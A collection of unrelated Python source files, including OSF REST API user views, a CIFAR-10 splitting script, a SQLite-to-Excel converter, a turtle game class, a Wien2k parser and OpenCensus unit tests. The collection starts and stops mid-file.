+ `profile_image_size=<Int>` -- Modifies `/links/profile_image_url` so that it points the image scaled to the given
size in pixels. If left blank, the size depends on the image provider.
#This Request/Response
"""
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
ReadOnlyOrCurrentUser,
base_permissions.TokenHasScope,
)
required_read_scopes = [CoreScopes.USERS_READ]
required_write_scopes = [CoreScopes.USERS_WRITE]
view_category = 'users'
view_name = 'user-detail'
serializer_class = UserDetailSerializer
def get_serializer_class(self):
if self.request.auth:
scopes = self.request.auth.attributes['accessTokenScope']
if (CoreScopes.USER_EMAIL_READ in normalize_scopes(scopes) and self.request.user == self.get_user()):
return ReadEmailUserDetailSerializer
return UserDetailSerializer
# overrides RetrieveAPIView
def get_object(self):
return self.get_user()
# overrides RetrieveUpdateAPIView
def get_serializer_context(self):
# Serializer needs the request in order to make an update to privacy
context = JSONAPIBaseView.get_serializer_context(self)
context['request'] = self.request
return context
class UserAddonList(JSONAPIBaseView, generics.ListAPIView, ListFilterMixin, UserMixin):
"""List of addons authorized by this user *Read-only*
Paginated list of user addons ordered by their `id` or `addon_short_name`.
###Permissions
<Addon>UserSettings are visible only to the user that "owns" them.
## <Addon\>UserSettings Attributes
OSF <Addon\>UserSettings entities have the "user_addons" `type`, and their `id` indicates the addon
service provider (eg. `box`, `googledrive`, etc).
name type description
=====================================================================================
user_has_auth boolean does this user have access to use an ExternalAccount?
##Links
See the [JSON-API spec regarding pagination](http://jsonapi.org/format/1.0/#fetching-pagination).
self: the canonical api endpoint of this user_addon
accounts: dict keyed on an external_account_id
nodes_connected: list of canonical api endpoints of connected nodes
account: canonical api endpoint for this account
#This Request/Response
"""
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
CurrentUser,
)
required_read_scopes = [CoreScopes.USER_ADDON_READ]
required_write_scopes = [CoreScopes.NULL]
serializer_class = UserAddonSettingsSerializer
view_category = 'users'
view_name = 'user-addons'
ordering = ('-id',)
def get_queryset(self):
qs = [addon for addon in self.get_user().get_addons() if 'accounts' in addon.config.configs]
qs.sort()
return qs
class UserAddonDetail(JSONAPIBaseView, generics.RetrieveAPIView, UserMixin, AddonSettingsMixin):
"""Detail of an individual addon authorized by this user *Read-only*
##Permissions
<Addon>UserSettings are visible only to the user that "owns" them.
## <Addon\>UserSettings Attributes
OSF <Addon\>UserSettings entities have the "user_addons" `type`, and their `id` indicates the addon
service provider (eg. `box`, `googledrive`, etc).
name type description
=====================================================================================
user_has_auth boolean does this user have access to use an ExternalAccount?
##Links
See the [JSON-API spec regarding pagination](http://jsonapi.org/format/1.0/#fetching-pagination).
self: the canonical api endpoint of this user_addon
accounts: dict keyed on an external_account_id
nodes_connected: list of canonical api endpoints of connected nodes
account: canonical api endpoint for this account
#This Request/Response
"""
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
CurrentUser,
)
required_read_scopes = [CoreScopes.USER_ADDON_READ]
required_write_scopes = [CoreScopes.NULL]
serializer_class = UserAddonSettingsSerializer
view_category = 'users'
view_name = 'user-addon-detail'
def get_object(self):
return self.get_addon_settings(check_object_permissions=False)
class UserAddonAccountList(JSONAPIBaseView, generics.ListAPIView, UserMixin, AddonSettingsMixin):
"""List of an external_accounts authorized by this user *Read-only*
##Permissions
ExternalAccounts are visible only to the user that has ownership of them.
## ExternalAccount Attributes
OSF ExternalAccount entities have the "external_accounts" `type`, with `id` indicating the
`external_account_id` according to the OSF
name type description
=====================================================================================================
display_name string Display name on the third-party service
profile_url string Link to users profile on third-party service *presence varies by service*
provider string short_name of third-party service provider
##Links
See the [JSON-API spec regarding pagination](http://jsonapi.org/format/1.0/#fetching-pagination).
self: the canonical api endpoint of this external_account
#This Request/Response
"""
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
CurrentUser,
)
required_read_scopes = [CoreScopes.USER_ADDON_READ]
required_write_scopes = [CoreScopes.NULL]
serializer_class = AddonAccountSerializer
view_category = 'users'
view_name = 'user-external_accounts'
ordering = ('-date_last_refreshed',)
def get_queryset(self):
return self.get_addon_settings(check_object_permissions=False).external_accounts
class UserAddonAccountDetail(JSONAPIBaseView, generics.RetrieveAPIView, UserMixin, AddonSettingsMixin):
"""Detail of an individual external_account authorized by this user *Read-only*
##Permissions
ExternalAccounts are visible only to the user that has ownership of them.
## ExternalAccount Attributes
OSF ExternalAccount entities have the "external_accounts" `type`, with `id` indicating the
`external_account_id` according to the OSF
name type description
=====================================================================================================
display_name string Display name on the third-party service
profile_url string Link to users profile on third-party service *presence varies by service*
provider string short_name of third-party service provider
##Links
See the [JSON-API spec regarding pagination](http://jsonapi.org/format/1.0/#fetching-pagination).
self: the canonical api endpoint of this external_account
#This Request/Response
"""
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
CurrentUser,
)
required_read_scopes = [CoreScopes.USER_ADDON_READ]
required_write_scopes = [CoreScopes.NULL]
serializer_class = AddonAccountSerializer
view_category = 'users'
view_name = 'user-external_account-detail'
def get_object(self):
user_settings = self.get_addon_settings(check_object_permissions=False)
account_id = self.kwargs['account_id']
account = ExternalAccount.load(account_id)
if not (account and user_settings.external_accounts.filter(id=account.id).exists()):
raise NotFound('Requested addon unavailable')
return account
class UserNodes(JSONAPIBaseView, generics.ListAPIView, UserMixin, NodesFilterMixin):
"""List of nodes that the user contributes to. *Read-only*.
Paginated list of nodes that the user contributes to ordered by `modified`. User registrations are not available
at this endpoint. Each resource contains the full representation of the node, meaning additional requests to an individual
node's detail view are not necessary. If the user id in the path is the same as the logged-in user, all nodes will be
visible. Otherwise, you will only be able to see the other user's publicly-visible nodes. The special user id `me`
can be used to represent the currently logged-in user.
##Node Attributes
<!--- Copied Attributes from NodeDetail -->
OSF Node entities have the "nodes" `type`.
name type description
=================================================================================
title string title of project or component
description string description of the node
category string node category, must be one of the allowed values
date_created iso8601 timestamp timestamp that the node was created
date_modified iso8601 timestamp timestamp when the node was last updated
tags array of strings list of tags that describe the node
current_user_can_comment boolean Whether the current user is allowed to post comments
current_user_permissions array of strings list of strings representing the permissions for the current user on this node
registration boolean is this a registration? (always false - may be deprecated in future versions)
fork boolean is this node a fork of another node?
public boolean has this node been made publicly-visible?
collection boolean is this a collection? (always false - may be deprecated in future versions)
##Links
See the [JSON-API spec regarding pagination](http://jsonapi.org/format/1.0/#fetching-pagination).
##Actions
*None*.
##Query Params
+ `page=<Int>` -- page number of results to view, default 1
+ `filter[<fieldname>]=<Str>` -- fields and values to filter the search results on.
<!--- Copied Query Params from NodeList -->
Nodes may be filtered by their `id`, `title`, `category`, `description`, `public`, `tags`, `date_created`, `date_modified`,
`root`, `parent`, and `contributors`. Most are string fields and will be filtered using simple substring matching. `public`
is a boolean, and can be filtered using truthy values, such as `true`, `false`, `0`, or `1`. Note that quoting `true`
or `false` in the query will cause the match to fail regardless. `tags` is an array of simple strings.
#This Request/Response
"""
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
)
model_class = AbstractNode
required_read_scopes = [CoreScopes.USERS_READ, CoreScopes.NODE_BASE_READ]
required_write_scopes = [CoreScopes.USERS_WRITE, CoreScopes.NODE_BASE_WRITE]
serializer_class = NodeSerializer
view_category = 'users'
view_name = 'user-nodes'
ordering = ('-modified',)
# overrides NodesFilterMixin
def get_default_queryset(self):
user = self.get_user()
if user != self.request.user:
return default_node_list_permission_queryset(user=self.request.user, model_cls=Node).filter(contributor__user__id=user.id)
return default_node_list_queryset(model_cls=Node).filter(contributor__user__id=user.id)
# overrides ListAPIView
def get_queryset(self):
return (
AbstractNode.objects.filter(id__in=set(self.get_queryset_from_request().values_list('id', flat=True)))
.select_related('node_license')
.order_by('-modified', )
.include('contributor__user__guids', 'root__guids', limit_includes=10)
)
class UserQuickFiles(JSONAPIBaseView, generics.ListAPIView, WaterButlerMixin, UserMixin, ListFilterMixin):
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
)
ordering = ('-last_touched')
required_read_scopes = [CoreScopes.USERS_READ]
required_write_scopes = [CoreScopes.USERS_WRITE]
serializer_class = UserQuickFilesSerializer
view_category = 'users'
view_name = 'user-quickfiles'
def get_node(self, check_object_permissions):
return QuickFilesNode.objects.get_for_user(self.get_user(check_permissions=False))
def get_default_queryset(self):
self.kwargs[self.path_lookup_url_kwarg] = '/'
self.kwargs[self.provider_lookup_url_kwarg] = 'osfstorage'
files_list = self.fetch_from_waterbutler()
return files_list.children.prefetch_related('node__guids', 'versions', 'tags').include('guids')
# overrides ListAPIView
def get_queryset(self):
return self.get_queryset_from_request()
class UserPreprints(JSONAPIBaseView, generics.ListAPIView, UserMixin, PreprintFilterMixin):
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
)
ordering = ('-created')
model_class = AbstractNode
required_read_scopes = [CoreScopes.USERS_READ, CoreScopes.NODE_PREPRINTS_READ]
required_write_scopes = [CoreScopes.USERS_WRITE, CoreScopes.NODE_PREPRINTS_WRITE]
serializer_class = PreprintSerializer
view_category = 'users'
view_name = 'user-preprints'
def get_default_queryset(self):
# the user who is requesting
auth = get_user_auth(self.request)
auth_user = getattr(auth, 'user', None)
# the user data being requested
target_user = self.get_user(check_permissions=False)
# Permissions on the list objects are handled by the query
default_qs = PreprintService.objects.filter(node___contributors__guids___id=target_user._id)
return self.preprints_queryset(default_qs, auth_user, allow_contribs=False)
def get_queryset(self):
return self.get_queryset_from_request()
class UserInstitutions(JSONAPIBaseView, generics.ListAPIView, UserMixin):
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
)
required_read_scopes = [CoreScopes.USERS_READ, CoreScopes.INSTITUTION_READ]
required_write_scopes = [CoreScopes.NULL]
serializer_class = InstitutionSerializer
view_category = 'users'
view_name = 'user-institutions'
ordering = ('-pk', )
def get_default_odm_query(self):
return None
def get_queryset(self):
user = self.get_user()
return user.affiliated_institutions.all()
class UserRegistrations(JSONAPIBaseView, generics.ListAPIView, UserMixin, NodesFilterMixin):
"""List of registrations that the user contributes to. *Read-only*.
Paginated list of registrations that the user contributes to. Each resource contains the full representation of the
registration, meaning additional requests to an individual registration's detail view are not necessary. If the user
id in the path is the same as the logged-in user, all nodes will be visible. Otherwise, you will only be able to
see the other user's publicly-visible nodes. The special user id `me` can be used to represent the currently
logged-in user.
A withdrawn registration will display a limited subset of information, namely, title, description,
created, registration, withdrawn, date_registered, withdrawal_justification, and registration supplement. All
other fields will be displayed as null. Additionally, the only relationships permitted to be accessed for a withdrawn
registration are the contributors - other relationships will return a 403.
##Registration Attributes
<!--- Copied Attributes from RegistrationList -->
Registrations have the "registrations" `type`.
name type description
=======================================================================================================
title string title of the registered project or component
description string description of the registered node
category string bode category, must be one of the allowed values
date_created iso8601 timestamp timestamp that the node was created
date_modified iso8601 timestamp timestamp when the node was last updated
tags array of strings list of tags that describe the registered node
current_user_can_comment boolean Whether the current user is allowed to post comments
current_user_permissions array of strings list of strings representing the permissions for the current user on this node
fork boolean is this project a fork?
registration boolean has this project been registered? (always true - may be deprecated in future versions)
collection boolean is this registered node a collection? (always false - may be deprecated in future versions)
public boolean has this registration been made publicly-visible?
withdrawn boolean has this registration been withdrawn?
date_registered iso8601 timestamp timestamp that the registration was created
embargo_end_date iso8601 timestamp when the embargo on this registration will be lifted (if applicable)
withdrawal_justification string reasons for withdrawing the registration
pending_withdrawal boolean is this registration pending withdrawal?
pending_withdrawal_approval boolean is this registration pending approval?
pending_embargo_approval boolean is the associated Embargo awaiting approval by project admins?
registered_meta dictionary registration supplementary information
registration_supplement string registration template
##Relationships
###Registered from
The registration is branched from this node.
###Registered by
The registration was initiated by this user.
###Other Relationships
See documentation on registered_from detail view. A registration has many of the same properties as a node.
##Links
See the [JSON-API spec regarding pagination](http://jsonapi.org/format/1.0/#fetching-pagination).
##Actions
*None*.
##Query Params
+ `page=<Int>` -- page number of results to view, default 1
+ `filter[<fieldname>]=<Str>` -- fields and values to filter the search results on.
<!--- Copied Query Params from NodeList -->
Registrations may be filtered by their `id`, `title`, `category`, `description`, `public`, `tags`, `date_created`, `date_modified`,
`root`, `parent`, and `contributors`. Most are string fields and will be filtered using simple substring matching. `public`
is a boolean, and can be filtered using truthy values, such as `true`, `false`, `0`, or `1`. Note that quoting `true`
or `false` in the query will cause the match to fail regardless. `tags` is an array of simple strings.
#This Request/Response
"""
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
)
model_class = Registration
required_read_scopes = [CoreScopes.USERS_READ, CoreScopes.NODE_REGISTRATIONS_READ]
required_write_scopes = [CoreScopes.USERS_WRITE, CoreScopes.NODE_REGISTRATIONS_WRITE]
serializer_class = RegistrationSerializer
view_category = 'users'
view_name = 'user-registrations'
ordering = ('-modified',)
# overrides NodesFilterMixin
def get_default_queryset(self):
user = self.get_user()
current_user = self.request.user
qs = default_node_list_permission_queryset(user=current_user, model_cls=Registration)
return qs.filter(contributor__user__id=user.id)
# overrides ListAPIView
def get_queryset(self):
return self.get_queryset_from_request().select_related('node_license').include('contributor__user__guids', 'root__guids', limit_includes=10)
class UserInstitutionsRelationship(JSONAPIBaseView, generics.RetrieveDestroyAPIView, UserMixin):
permission_classes = (
drf_permissions.IsAuthenticatedOrReadOnly,
base_permissions.TokenHasScope,
ReadOnlyOrCurrentUserRelationship
)
required_read_scopes = [CoreScopes.USERS_READ]
required_write_scopes = [CoreScopes.USERS_WRITE]
serializer_class = UserInstitutionsRelationshipSerializer
parser_classes = (JSONAPIRelationshipParser, JSONAPIRelationshipParserForRegularJSON, )
view_category = 'users'
view_name = 'user-institutions-relationship'
def get_object(self):
user = self.get_user(check_permissions=False)
obj = {
'data': user.affiliated_institutions.all(),
'self': user
}
self.check_object_permissions(self.request, obj)
return obj
def perform_destroy(self, instance):
data = self.request.data['data']
user = self.request.user
current_institutions = set(user.affiliated_institutions.values_list('_id', flat=True))
# DELETEs normally dont get type checked
# not the best way to do it, should be enforced everywhere, maybe write a test for it
for val in data:
if val['type'] != self.serializer_class.Meta.type_:
raise Conflict()
for val in data:
if val['id'] in current_institutions:
user.remove_institution(val['id'])
user.save()
class UserActionList(JSONAPIBaseView, generics.ListAPIView, ListFilterMixin, UserMixin):
"""List of actions viewable by this user *Read-only*
Actions represent state changes and/or comments on a reviewable object (e.g. a preprint)
##Action Attributes
name type description
====================================================================================
date_created iso8601 timestamp timestamp that the action was created
date_modified iso8601 timestamp timestamp that the action was last modified
from_state string state of the reviewable before this action was created
to_state string state of the reviewable after this action was created
comment string comment explaining the state change
trigger string name of the trigger for this action
##Relationships
###Target
Link to the object (e.g. preprint) this action acts on
###Provider
Link to detail for the target object's provider
###Creator
Link to the user that created this action
##Links
- `self` -- Detail page for the current action
##Query Params
+ `page=<Int>` -- page number of results to view, default 1
+ `filter[<fieldname>]=<Str>` -- fields and values to filter the search results on.
Actions may be filtered by their `id`, `from_state`, `to_state`, `date_created`, `date_modified`, `creator`, `provider`, `target`
"""
# Permissions handled in get_default_django_query
permission_classes = (
drf_permissions.IsAuthenticated,
base_permissions.TokenHasScope,
CurrentUser,
)
required_read_scopes = [CoreScopes.ACTIONS_READ]
required_write_scopes = [CoreScopes.NULL]
serializer_class = ActionSerializer
model_class = Action
ordering = ('-created',)
view_category = 'users'
view_name = 'user-action-list'
# overrides ListFilterMixin
def get_default_queryset(self):
provider_queryset = get_objects_for_user(self.get_user(), 'view_actions', PreprintProvider)
return get_actions_queryset().filter(target__node__is_public=True, target__provider__in=provider_queryset)
# overrides ListAPIView
def get_queryset(self):
return self.get_queryset_from_request()
| python |
import numpy as np
import os
import sys
import math
import time
import random
import datetime
import pickle
from keras.utils.generic_utils import Progbar
from PIL import Image
os.environ['TF_CPP_MIN_LOG_LEVEL']='2'
import tensorflow as tf
import keras
from keras import backend as K
from keras.datasets import cifar10
from keras.utils import np_utils, plot_model
from os import listdir
import os.path
import argparse
# config =tf.ConfigProto(gpu_options=tf.GPUOptions(visible_device_list="0",allow_growth=True))
# config = tf.ConfigProto()
# config.gpu_options.allocator_type ='BFC'
# config.gpu_options.per_process_gpu_memory_fraction = 0.90
# tf.Session(config=config)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-n", "--nsplit", type=int, help="number of partitions", default=100)
parser.add_argument("-o", "--output", type=str, help="dir of output", required=True)
args = parser.parse_args()
output_dir = os.path.join(args.output, 'dataset_split_{}'.format(args.nsplit))
output_train_dir = os.path.join(output_dir, 'train')
output_val_dir = os.path.join(output_dir, 'val')
if not os.path.exists(output_dir):
os.makedirs(output_dir)
if not os.path.exists(output_train_dir):
os.makedirs(output_train_dir)
if not os.path.exists(output_val_dir):
os.makedirs(output_val_dir)
(x_train, y_train), (x_test, y_test) = cifar10.load_data()
batch_size = int(math.floor(x_train.shape[0] / args.nsplit))
nice_n_train = np.ceil(x_train.shape[0] / batch_size) * batch_size
print('n_train: {}, n_val: {}, partition_size: {}, n_train_part: {}'.format(x_train.shape[0], x_test.shape[0], batch_size, nice_n_train // batch_size), flush=True)
perm = list(range( x_train.shape[0] ))
random.shuffle(perm)
x_train = np.array([x_train[index, :, :, :] for index in perm])
y_train = np.array([y_train[index, :] for index in perm])
for i in range(int(nice_n_train // batch_size)):
output_train_filename = os.path.join(output_train_dir, "train_data_%03d.pkl" % i)
i_start = i * batch_size
i_end = i_start + batch_size
if i_end > x_train.shape[0]:
i_end = x_train.shape[0]
b = x_train[i_start:i_end, :, :, :]
l = y_train[i_start:i_end, :]
print(b.shape)
print(l.shape)
print(output_train_filename, flush=True)
with open(output_train_filename, "wb") as f:
pickle.dump([b, l], f)
output_test_filename = os.path.join(output_val_dir, "val_data.pkl")
print(x_test.shape)
print(y_test.shape)
print(output_test_filename, flush=True)
with open(output_test_filename, "wb") as f:
pickle.dump([x_test, y_test], f) | python |
from __future__ import annotations
import random
from typing import List
import numpy as np
import paddle
from paddle import nn
from paddle.fluid.framework import Parameter
def freeze_module(module: nn.Layer):
"""Freeze all parameters in the moudle"""
parameters: List[Parameter] = module.parameters()
for parameter in parameters:
parameter.stop_gradient = True
def set_seed(seed):
"""sets random seed"""
random.seed(seed)
np.random.seed(seed)
paddle.seed(seed)
| python |
'''
wrapper for evaluating Model(ABC particle)
'''
import env
import sys
from abcee import model_ABCparticle
#restart = int(sys.argv[1])
#if restart == 0:
# ABC run name
abcrun = sys.argv[1]
print 'Run ', abcrun
# iterations number
Niter = int(sys.argv[2])
print 'N_iterations = ', Niter
# plus some hardcoded kwargs
nsnap0=15 # starting snapshot
sigma_smhm=0.2
model_ABCparticle(abcrun, Niter, nsnap0=nsnap0, sigma_smhm=sigma_smhm)
| python |
import os
import sqlite3 as sqlite
from openpyxl import Workbook
from openpyxl.styles import Font
import datetime
import tkinter.filedialog
import tkinter.messagebox
import gc
font = Font(color="00FF3300")
runningFile = ""
# 写入Excel头
def sqlite_to_workbook_with_head(i, cur, table, select_sql, workbook, errorPut):
ws = workbook.worksheets[i]
ws.title = table
print("------- sheet create table -> " + table + " %s" % i)
# enumerate针对一个可迭代对象，生成的是序号加上内容
for colx, heading in enumerate(sqlite_get_col_names(cur, select_sql)):
ws.cell(1, colx + 1, heading)
for rowy, row in enumerate(query_by_sql(cur, select_sql)):
for colx, text in enumerate(row): # row是一行的内容
try:
ws.cell(rowy + 2, colx + 1, text)
except:
errorList = "file -> " + runningFile + " : sheet -> " + table + "\n"
cell = ws.cell(rowy + 2, colx + 1, "Error Data")
cell.font = font
errorPut.write(errorList)
del ws
gc.collect()
# 写入Excel内容
def dump_db_to_excel(cur, workbook, errorPut):
i = 0
for tbl_name in [row[0] for row in query_by_sql(cur, "select tbl_name FROM sqlite_master where type = 'table'")]:
select_sql = "select * from '%s'" % tbl_name
if i > 0:
workbook.create_sheet(tbl_name, i)
sqlite_to_workbook_with_head(i, cur, tbl_name, select_sql, workbook, errorPut)
i = i + 1
# 通过查询条件 查找 数据库 内容
def sqlite_get_col_names(cur, select_sql):
cur.execute(select_sql)
return [tuple[0] for tuple in cur.description]
# 查询数据库
def query_by_sql(cur, select_sql):
cur.execute(select_sql)
return cur.fetchall()
# 单个 转换 数据库 为 Excel 脚本
def main(dbpath, errorPut):
xlspath = dbpath[:dbpath.rfind('.')] + '.xlsx'
global runningFile
runningFile = xlspath
db = sqlite.connect(dbpath)
cur = db.cursor()
wb = Workbook()
dump_db_to_excel(cur, wb, errorPut)
print("end transfer <%s> --> <%s>" % (dbpath, xlspath))
wb.save(xlspath)
# 程序入口 批量执行 path 一级目录下所有 .db 或者 .data 的数据库
if __name__ == '__main__':
# 地址需要设置为目标存有数据库的文件夹
global path
path = tkinter.filedialog.askdirectory()
errorPut = open(path + "/log.txt", 'w')
startTime = datetime.datetime.now()
errorPut.write("error list :\n")
# path = "/Users/seapeak/Downloads/dblist"
for fileName in os.listdir(path):
if fileName.endswith('db') or fileName.endswith('data'):
itemPath = os.path.join(path, fileName)
print("start transfer -> " + itemPath)
main(itemPath, errorPut)
endTime = datetime.datetime.now()
timeSpend = endTime - startTime
print('sum time is -> %s' % timeSpend)
errorPut.write('\n ------- transfer sum time = %s' % timeSpend + '\n')
errorPut.close()
tkinter.messagebox.showinfo("转换结束", "花费了 %s" % timeSpend + " 秒\nlog文件已经在文件夹中生成，可以查看转化失败的区域")
| python |
# Copyright 2020 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import pytest
from mindspore import nn
from mindspore import context
from mindspore.train.model import Model
from mindarmour.privacy.diff_privacy import DPOptimizerClassFactory
from tests.ut.python.utils.mock_net import Net
@pytest.mark.level0
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_ascend_training
@pytest.mark.env_card
@pytest.mark.component_mindarmour
def test_optimizer():
context.set_context(mode=context.PYNATIVE_MODE, device_target="Ascend")
network = Net()
lr = 0.01
momentum = 0.9
micro_batches = 2
loss = nn.SoftmaxCrossEntropyWithLogits()
factory = DPOptimizerClassFactory(micro_batches)
factory.set_mechanisms('Gaussian', norm_bound=1.5, initial_noise_multiplier=5.0)
net_opt = factory.create('SGD')(params=network.trainable_params(), learning_rate=lr,
momentum=momentum)
_ = Model(network, loss_fn=loss, optimizer=net_opt, metrics=None)
@pytest.mark.level0
@pytest.mark.platform_x86_gpu_training
@pytest.mark.env_card
@pytest.mark.component_mindarmour
def test_optimizer_gpu():
context.set_context(mode=context.PYNATIVE_MODE, device_target="GPU")
network = Net()
lr = 0.01
momentum = 0.9
micro_batches = 2
loss = nn.SoftmaxCrossEntropyWithLogits()
factory = DPOptimizerClassFactory(micro_batches)
factory.set_mechanisms('Gaussian', norm_bound=1.5, initial_noise_multiplier=5.0)
net_opt = factory.create('SGD')(params=network.trainable_params(), learning_rate=lr,
momentum=momentum)
_ = Model(network, loss_fn=loss, optimizer=net_opt, metrics=None)
@pytest.mark.level0
@pytest.mark.platform_x86_cpu
@pytest.mark.env_card
@pytest.mark.component_mindarmour
def test_optimizer_cpu():
context.set_context(mode=context.PYNATIVE_MODE, device_target="CPU")
network = Net()
lr = 0.01
momentum = 0.9
micro_batches = 2
loss = nn.SoftmaxCrossEntropyWithLogits()
factory = DPOptimizerClassFactory(micro_batches)
factory.set_mechanisms('Gaussian', norm_bound=1.5, initial_noise_multiplier=5.0)
net_opt = factory.create('SGD')(params=network.trainable_params(), learning_rate=lr,
momentum=momentum)
_ = Model(network, loss_fn=loss, optimizer=net_opt, metrics=None)
| python |
def min_max_scaler(value, min_value, max_value):
'''
takes value, calculated max value (pulled from dictionary
of maxes) and min value; and scales using min-max scaler method.
'''
try:
return (value - min_value)/(max_value - min_value)
except ZeroDivisionError:
return 0
| python |
from django.apps import AppConfig
class SitemapConfig(AppConfig):
"""
This is the basic configuration for the sitemap app
"""
name = "sitemap"
| python |
from turtle import Turtle
import random
COLORS = ["red", "orange", "yellow", "green", "blue", "purple"]
STARTING_MOVE_DISTANCE = 5
MOVE_INCREMENT = 10
class CarManager:
def __init__(self):
self.cars_list = []
self.speed = STARTING_MOVE_DISTANCE
def create_car(self):
random_choice = random.randint(1,7)
if random_choice == 6:
new_car = Turtle("square") #each car will be a turtle object ( which we have imported to use here )
new_car.shapesize(stretch_wid=1.0, stretch_len=2.0)
new_car.color(random.choice(COLORS))
new_car.penup()
new_car.seth(180)
random_y = random.randint(-250,250)
new_car.goto(300, random_y)
self.cars_list.append(new_car)
def move_cars(self):
for car in self.cars_list:
if car.xcor() < -300:
self.cars_list.remove(car)
car.ht()
car.forward(self.speed)
def increase_level(self):
self.speed += MOVE_INCREMENT
| python |
from ..core import BlockParser
def _parse_epsilon(line, lines):
"""Parse Energy [eV] Re_eps_xx Im_eps_xx Re_eps_zz Im_eps_zz"""
split_line = line.split()
energy = float(split_line[0])
re_eps_xx = float(split_line[1])
im_eps_xx = float(split_line[2])
re_eps_zz = float(split_line[3])
im_eps_zz = float(split_line[4])
return {"energy": energy, "re_eps_xx": re_eps_xx, "im_eps_xx": im_eps_xx, "re_eps_zz": re_eps_zz,
"im_eps_zz": im_eps_zz}
base_rules = [
(lambda x: len(x) > 0 and "#" not in x and len(x.split()) == 5, _parse_epsilon)
]
class EpsilonParser(BlockParser):
"""Parser for Wien2k's .epsilon file"""
def __init__(self, rules=base_rules):
BlockParser.__init__(self)
for rule in rules:
self.add_rule(rule)
| python |
# Copyright 2018, OpenCensus Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import unittest
import mock
from opencensus.stats import measure_to_view_map as measure_to_view_map_module
from opencensus.stats.measure import BaseMeasure
from opencensus.stats.measure import MeasureInt
from opencensus.stats.view import View
from opencensus.stats.view_data import ViewData
class TestMeasureToViewMap(unittest.TestCase):
@staticmethod
def _get_target_class():
return measure_to_view_map_module.MeasureToViewMap
def _make_one(self, *args, **kw):
return self._get_target_class()(*args, **kw)
def test_constructor(self):
measure_to_view_map = measure_to_view_map_module.MeasureToViewMap()
self.assertEqual({},
measure_to_view_map._measure_to_view_data_list_map)
self.assertEqual({}, measure_to_view_map._registered_views)
self.assertEqual({}, measure_to_view_map._registered_measures)
self.assertEqual(set(), measure_to_view_map.exported_views)
def test_get_view(self):
name = "testView"
description = "testDescription"
columns = mock.Mock()
measure = mock.Mock()
aggregation = mock.Mock()
view = View(
name=name,
description=description,
columns=columns,
measure=measure,
aggregation=aggregation)
timestamp = mock.Mock()
measure_to_view_map = measure_to_view_map_module.MeasureToViewMap()
measure_to_view_map._registered_views = {}
no_registered_views = measure_to_view_map.get_view(
view_name=name, timestamp=timestamp)
self.assertEqual(None, no_registered_views)
measure_to_view_map._registered_views = {name: view}
measure_to_view_map._measure_to_view_data_list_map = {
view.measure.name:
[ViewData(view=view, start_time=timestamp, end_time=timestamp)]
}
view_data = measure_to_view_map.get_view(
view_name=name, timestamp=timestamp)
self.assertIsNotNone(view_data)
measure_to_view_map._measure_to_view_data_list_map = {}
view_data = measure_to_view_map.get_view(
view_name=name, timestamp=timestamp)
self.assertIsNone(view_data)
measure_to_view_map._measure_to_view_data_list_map = {
view.measure.name: [
ViewData(
view=mock.Mock(), start_time=timestamp, end_time=timestamp)
]
}
view_data = measure_to_view_map.get_view(
view_name=name, timestamp=timestamp)
self.assertIsNone(view_data)
def test_filter_exported_views(self):
test_view_1_name = "testView1"
description = "testDescription"
columns = mock.Mock()
measure = mock.Mock()
aggregation = mock.Mock()
test_view_1 = View(
name=test_view_1_name,
description=description,
columns=columns,
measure=measure,
aggregation=aggregation)
test_view_2_name = "testView2"
test_view_2 = View(
name=test_view_2_name,
description=description,
columns=columns,
measure=measure,
aggregation=aggregation)
all_the_views = {test_view_1, test_view_2}
measure_to_view_map = measure_to_view_map_module.MeasureToViewMap()
views = measure_to_view_map.filter_exported_views(
all_views=all_the_views)
self.assertEqual(views, all_the_views)
def test_register_view(self):
name = "testView"
description = "testDescription"
columns = mock.Mock()
measure = MeasureInt("measure", "description", "1")
aggregation = mock.Mock()
view = View(
name=name,
description=description,
columns=columns,
measure=measure,
aggregation=aggregation)
timestamp = mock.Mock()
measure_to_view_map = measure_to_view_map_module.MeasureToViewMap()
measure_to_view_map._registered_views = {}
measure_to_view_map._registered_measures = {}
measure_to_view_map.register_view(view=view, timestamp=timestamp)
self.assertIsNone(measure_to_view_map.exported_views)
self.assertEqual(measure_to_view_map._registered_views[view.name],
view)
self.assertEqual(
measure_to_view_map._registered_measures[measure.name], measure)
self.assertIsNotNone(measure_to_view_map.
_measure_to_view_data_list_map[view.measure.name])
# Registers a view with an existing measure.
view2 = View(
name="testView2",
description=description,
columns=columns,
measure=measure,
aggregation=aggregation)
test_with_registered_measures = measure_to_view_map.register_view(
view=view2, timestamp=timestamp)
self.assertIsNone(test_with_registered_measures)
self.assertEqual(
measure_to_view_map._registered_measures[measure.name], measure)
# Registers a view with a measure that has the same name as an existing
# measure, but with different schema. measure2 and view3 should be
# ignored.
measure2 = MeasureInt("measure", "another measure", "ms")
view3 = View(
